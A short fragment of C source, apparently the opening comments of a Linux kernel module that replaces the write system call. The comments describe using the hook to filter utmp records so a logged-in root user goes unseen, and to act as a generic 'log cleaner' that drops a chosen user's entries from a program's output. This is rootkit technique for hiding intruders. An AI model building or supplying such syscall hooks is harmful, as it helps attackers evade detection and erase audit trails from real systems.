// Replacing write is simple :) but you should try writev
// Uses:
// 1. utmp filterring (why would anyone need to check if root is on)
// 2. actually it's a generic write syscall filter:
// strace program
// if it uses write() => #define FILTER "program" && #define USER="somestring"
// now you've got a generic "log cleaner" (ps: syslogd uses writev)
#if CONFIG_MODVERSIONS==1 // was it defined in kernel ?
